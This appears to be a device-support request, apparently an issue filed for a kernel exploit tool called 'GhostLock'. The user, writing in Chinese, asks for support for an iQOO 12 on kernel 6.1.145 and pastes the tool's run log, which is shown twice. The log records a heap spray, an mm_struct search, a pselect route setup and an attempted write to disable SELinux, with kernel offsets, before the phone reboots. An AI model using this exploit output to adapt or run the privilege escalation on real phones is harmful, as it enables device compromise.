设备信息
- 设备型号： [iqoo12]
- 制造商： [vivo]
- 芯片组： [Snapdragon 8 Gen 3]
- 内核版本： [6.1.145-android14-11-maybe-dirty]
- Android 版本： [Android 16]
已提取的信息
请提供你已经提取的信息：
task_struct.txt
structs.txt
selinux.txt
raw.txt
mm.txt
kallsyms.txt
config.txt
boot.img
测试结果
如果你已经尝试过 exploit，请描述结果：
- 遇到错误（请描述）
- administrator@DESKTOP-D6SVPRV:~/GhostLock-main$ adb shell /data/local/tmp/ghostlock
[] kernel: 6.1.145-android14-11-maybe-dirty
[+] offsets matched: 6.1.145-android14-11-maybe-dirty
[+] startup context pid=20602 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=20602 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=20602 label=ghostlock_iqoo slide=pselect main=pselect
[+] p0 profile pid=20602 phys_offset=0000000040000000 kernel_phys_load=0000000048000000 delta=0000000008000000 slide_logger=ffffffc00a1d2f98 bootid_data=ffffffc00a57a548 init_task=ffffffc00a1dfc00 root_tg=ffffffc00a422740 sysctl_bootid=ffffffc00a57a548
[] [T+0ms] exploit start
[] [T+2946ms] pre-W1 drain
[] Write 1 attempt 1/5
[] === W1: SELinux === target=0xffffffc00a558f40 mode=1
[] [T+2946ms] heap spray start
[] parameters cpu (16) mm_struct sz (3c8) mm slab order (0) thread cnt (8) collisions (3) mte disabled
[] start finding collisisons
[] target 00000078ebe2a0c8
[] 0000006657d4ca60
[] 0000006659249248
[] found 2 collisisons
[] start bruteforcing
[] [ 0] start finding mm_struct [ffffffc000000000-ffffffc080000000]
[] [ 2] start finding mm_struct [ffffffc0c0000000-ffffffc140000000]
[] [ 1] start finding mm_struct [ffffffc040000000-ffffffc0c0000000]
[] [ 3] start finding mm_struct [ffffffc100000000-ffffffc180000000]
[] [ 4] start finding mm_struct [ffffffc180000000-ffffffc200000000]
[] [ 5] start finding mm_struct [ffffffc1c0000000-ffffffc240000000]
[] [ 7] start finding mm_struct [ffffffc280000000-ffffffc300000000]
[] [ 6] start finding mm_struct [ffffffc240000000-ffffffc2c0000000]
[] found mm_struct f5ffffc002719b58
[] done
[] prepare_kernel_page ok attempt=1
[] [T+12476ms] heap spray done
[] consumer: baseline sched_setattr on self tid=26987 (no PI)
[] consumer: baseline ret=0 errno=0
[] pselect route setup attempt=1 simple=0 shift=-1 page=f5ffffc002719000 fake_lock=f5ffffc002719000 fake_w0=f5ffffc002719300 fake_task=f5ffffc002719400 in0=0000000000000000 in3=0000000000000000 out0=0000000000000000 out3=f5ffffc002719000 out4=0000000100000003 ex0=0000000000000000 ex1=0000000000000000 ex2=0000000000000000 ex3=0000000000000000
[] pselect fds with bits set: 106 / 320
[] pselect pre-select +2ms delay=0 nfds=320
[*] consumer: pre-sched tid=26985
- 设备重启
其他信息
整不来 希望大佬能做出iqoo12的文件
添加任何其他有助于添加设备支持的信息。
设备信息
已提取的信息
请提供你已经提取的信息：
task_struct.txt
structs.txt
selinux.txt
raw.txt
mm.txt
kallsyms.txt
config.txt
boot.img
测试结果
如果你已经尝试过 exploit，请描述结果：
[] kernel: 6.1.145-android14-11-maybe-dirty
[+] offsets matched: 6.1.145-android14-11-maybe-dirty
[+] startup context pid=20602 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=20602 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=20602 label=ghostlock_iqoo slide=pselect main=pselect
[+] p0 profile pid=20602 phys_offset=0000000040000000 kernel_phys_load=0000000048000000 delta=0000000008000000 slide_logger=ffffffc00a1d2f98 bootid_data=ffffffc00a57a548 init_task=ffffffc00a1dfc00 root_tg=ffffffc00a422740 sysctl_bootid=ffffffc00a57a548
[] [T+0ms] exploit start
[] [T+2946ms] pre-W1 drain
[] Write 1 attempt 1/5
[] === W1: SELinux === target=0xffffffc00a558f40 mode=1
[] [T+2946ms] heap spray start
[] parameters cpu (16) mm_struct sz (3c8) mm slab order (0) thread cnt (8) collisions (3) mte disabled
[] start finding collisisons
[] target 00000078ebe2a0c8
[] 0000006657d4ca60
[] 0000006659249248
[] found 2 collisisons
[] start bruteforcing
[] [ 0] start finding mm_struct [ffffffc000000000-ffffffc080000000]
[] [ 2] start finding mm_struct [ffffffc0c0000000-ffffffc140000000]
[] [ 1] start finding mm_struct [ffffffc040000000-ffffffc0c0000000]
[] [ 3] start finding mm_struct [ffffffc100000000-ffffffc180000000]
[] [ 4] start finding mm_struct [ffffffc180000000-ffffffc200000000]
[] [ 5] start finding mm_struct [ffffffc1c0000000-ffffffc240000000]
[] [ 7] start finding mm_struct [ffffffc280000000-ffffffc300000000]
[] [ 6] start finding mm_struct [ffffffc240000000-ffffffc2c0000000]
[] found mm_struct f5ffffc002719b58
[] done
[] prepare_kernel_page ok attempt=1
[] [T+12476ms] heap spray done
[] consumer: baseline sched_setattr on self tid=26987 (no PI)
[] consumer: baseline ret=0 errno=0
[] pselect route setup attempt=1 simple=0 shift=-1 page=f5ffffc002719000 fake_lock=f5ffffc002719000 fake_w0=f5ffffc002719300 fake_task=f5ffffc002719400 in0=0000000000000000 in3=0000000000000000 out0=0000000000000000 out3=f5ffffc002719000 out4=0000000100000003 ex0=0000000000000000 ex1=0000000000000000 ex2=0000000000000000 ex3=0000000000000000
[] pselect fds with bits set: 106 / 320
[] pselect pre-select +2ms delay=0 nfds=320
[*] consumer: pre-sched tid=26985
其他信息
整不来 希望大佬能做出iqoo12的文件
添加任何其他有助于添加设备支持的信息。